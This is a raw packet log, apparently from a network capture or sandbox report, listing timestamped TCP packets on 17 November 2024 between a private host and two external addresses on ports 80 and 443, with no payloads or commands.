Nov 17, 2024 01:38:46.844696999 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.844779968 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.844791889 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.844803095 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.844815969 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.844831944 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.844858885 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.844886065 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.845356941 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.845367908 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.845374107 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.845434904 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.861177921 CET	443	56745	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.861764908 CET	56745	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.861807108 CET	443	56745	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.862221003 CET	56745	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.862232924 CET	443	56745	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.878079891 CET	443	56743	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.878129959 CET	443	56743	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.878223896 CET	56743	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.878353119 CET	56743	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.878362894 CET	443	56743	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.878374100 CET	56743	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.878377914 CET	443	56743	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.881513119 CET	56748	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.881561041 CET	443	56748	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.881633997 CET	56748	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.881803036 CET	56748	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.881829977 CET	443	56748	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.883709908 CET	443	56744	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.883893013 CET	443	56744	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.883955956 CET	443	56744	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.883971930 CET	56744	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.884052038 CET	56744	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.884052038 CET	56744	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.884088993 CET	56744	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.884110928 CET	443	56744	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.884120941 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.884151936 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.884191990 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:46.884227037 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:46.884244919 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:46.884341002 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:46.886276007 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.886286974 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.886297941 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.886337996 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.886372089 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.887073994 CET	56749	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.887109041 CET	443	56749	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.887180090 CET	56749	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.887340069 CET	56749	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:46.887352943 CET	443	56749	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.918765068 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.918776989 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.918795109 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.918806076 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.918817997 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.918843985 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.918919086 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.931818008 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.931878090 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.931889057 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.931899071 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.931946039 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.931946039 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.931988955 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.959826946 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.959839106 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.959847927 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.959903002 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.959949017 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.959980011 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.959990025 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.960000038 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.960015059 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.960025072 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.960027933 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.960072994 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.960688114 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.960697889 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.960706949 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:46.960736990 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.960771084 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:46.999587059 CET	443	56745	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.999723911 CET	443	56745	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:46.999800920 CET	56745	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.000876904 CET	56745	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.000876904 CET	56745	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.000919104 CET	443	56745	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.000946999 CET	443	56745	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.001563072 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.001571894 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.001610041 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.001638889 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.001668930 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.001668930 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.001708984 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.011425972 CET	56750	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.011477947 CET	443	56750	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.011544943 CET	56750	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.011703014 CET	56750	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.011719942 CET	443	56750	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.034270048 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.034287930 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.034300089 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.034348011 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.034358978 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.034363985 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.034421921 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.034421921 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.047446012 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.047456980 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.047466993 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.047503948 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.047542095 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.075489044 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.075505972 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.075516939 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.075534105 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.075544119 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.075555086 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.075556993 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.075598955 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.075628042 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.075907946 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.075918913 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.075928926 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.075962067 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.075968027 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.075979948 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.075989962 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.075992107 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.076026917 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.076059103 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.117054939 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.117086887 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.117096901 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.117115974 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.117156029 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.119051933 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:47.119069099 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:47.119092941 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:47.119137049 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:47.119162083 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:47.119179010 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:47.119719028 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:47.149945021 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.149964094 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.149976015 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.149988890 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.149996996 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.150033951 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.150105953 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.163021088 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.163064957 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.163074017 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.163177967 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.163178921 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.163178921 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.190808058 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.190876961 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.190902948 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.190913916 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.190924883 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.190938950 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.190943956 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.190951109 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.190968990 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.190999985 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.191143036 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.191184044 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.191190004 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.191205978 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.191216946 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.191226959 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.191237926 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.191243887 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.191281080 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.191281080 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.232867956 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.232886076 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.232896090 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.233026028 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.233026028 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.265764952 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.265827894 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.265831947 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.265844107 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.265856028 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.265871048 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.265881062 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.265934944 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.277585983 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:47.277631998 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:47.277687073 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:47.277735949 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:47.277769089 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:47.277887106 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:47.278141975 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.278161049 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.278171062 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.278204918 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.278242111 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.306184053 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.306248903 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.306262016 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.306272984 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.306283951 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.306293964 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.306327105 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.306327105 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.306368113 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.306505919 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.306515932 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.306525946 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.306535006 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.306545019 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.306561947 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.306590080 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.307168961 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.307220936 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.307228088 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.307233095 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.307246923 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.307269096 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.307293892 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.348134995 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.348206043 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.348217010 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.348237038 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.348314047 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.380589962 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.380599022 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.380656958 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.380657911 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.380696058 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.380706072 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.380718946 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.380739927 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.380767107 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.393539906 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.393557072 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.393567085 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.393608093 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.393640995 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.421437979 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.421459913 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.421469927 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.421499014 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.421506882 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.421516895 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.421581984 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.421581984 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.421952963 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.421962023 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.421997070 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.422127008 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.422137976 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.422182083 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.422260046 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.422271013 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.422317982 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.422713995 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.422724009 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.422734022 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.422744989 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.422755003 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.422761917 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.422795057 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.422795057 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.462438107 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.462446928 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.462512016 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.463531017 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.463613987 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.463690996 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.463700056 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.463709116 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.463731050 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.463761091 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.469935894 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:47.469990015 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:47.470031023 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:47.470072031 CET	443	56738	13.107.246.57	192.168.2.6
Nov 17, 2024 01:38:47.470114946 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:47.470139027 CET	56738	443	192.168.2.6	13.107.246.57
Nov 17, 2024 01:38:47.495834112 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.495877028 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.495897055 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.495930910 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.495949030 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.495958090 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.496005058 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.496094942 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.496120930 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.496133089 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.496157885 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.496202946 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.508877993 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.508894920 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.508928061 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.508930922 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.508950949 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.508955956 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.508990049 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.508990049 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.536689043 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.536734104 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.536782026 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.536834002 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.536844015 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.536851883 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.536844015 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.536863089 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.536874056 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.536936998 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.537451029 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.537461042 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.537477016 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.537487984 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.537497044 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.537498951 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.537527084 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.537560940 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.538079977 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.538089991 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.538141012 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.538145065 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.538151026 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.538197994 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.578715086 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.578727961 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.578735113 CET	80	49911	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:47.578797102 CET	49911	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:47.580362082 CET	443	56746	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.580915928 CET	56746	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.580939054 CET	443	56746	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:47.581320047 CET	56746	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:47.581326008 CET	443	56746	13.107.246.45	192.168.2.6
